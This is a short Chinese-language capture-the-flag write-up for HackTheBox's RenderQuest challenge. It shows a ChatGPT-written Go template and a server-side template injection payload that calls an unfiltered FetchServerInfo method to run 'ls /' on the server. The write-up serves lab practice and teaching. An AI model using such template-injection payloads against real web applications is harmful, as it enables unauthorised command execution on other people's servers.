HackTheBox RenderQuest WriteUP

题目

You’ve found a website that lets you input remote templates for rendering. Your task is to exploit this system’s vulnerabilities to access and retrieve a hidden flag. Good luck!

翻译:您发现了一个可以输入远程模板进行渲染的网站。您的任务是利用该系统的漏洞访问和检索一个隐藏标志。祝你好运!

challenge

思路

根据描述,网站的功能是让我们提供一个远程的模板,网站对我们的模板进行渲染。远程站点我们可以用GitHubPages,可是我不会写Golang的模板,结题失败,此贴结束。

咳咳。

我不会写,让ChatGPT写一个不就完了。先写一个普通的看看长什么样:

<!DOCTYPE html>
<html>
<head>
    <title>Client & Server Info</title>
</head>
<body>
    <h2>Client Information</h2>
    <ul>
        <li>Client IP: {{.ClientIP}}</li>
        <li>User Agent: {{.ClientUA}}</li>
        {{with .ClientIpInfo}}
            <li>IP Version: {{.IpVersion}}</li>
            <li>IP Address: {{.IpAddress}}</li>
            <li>Latitude: {{.Latitude}}</li>
            <li>Longitude: {{.Longitude}}</li>
            <li>Country Name: {{.CountryName}}</li>
            <li>Country Code: {{.CountryCode}}</li>
            <li>Time Zone: {{.TimeZone}}</li>
            <li>Zip Code: {{.ZipCode}}</li>
            <li>City Name: {{.CityName}}</li>
            <li>Region Name: {{.RegionName}}</li>
            <li>Continent: {{.Continent}}</li>
            <li>Continent Code: {{.ContinentCode}}</li>
        {{end}}
    </ul>
    <h2>Server Information</h2>
    <ul>
        <li>Hostname: {{.ServerInfo.Hostname}}</li>
        <li>Operating System: {{.ServerInfo.OS}}</li>
        <li>Kernel Version: {{.ServerInfo.KernelVersion}}</li>
        <li>Memory: {{.ServerInfo.Memory}}</li>
    </ul>
</body>
</html>

丢给网站看看效果:

template

很好,模板生效了。看到这种题目,第一时间想到的,就是模板注入。检查源码我们可以看到源码中刚好定义了可以执行系统命令的方法:

exec

并且这个方法没有对传入的参数做任何过滤。那么,后面的事情就简单了。

解题

构造Payload查看flag文件的文件名:

    <h2>Get Flag</h2>
    <ul>
        <li>Flag: {{.FetchServerInfo "ls /"}}</li>
    </ul>

flag-file

读取Flag(这一步Payload就不用多说了吧):

flag

后记

感谢ChatGPT

参考资料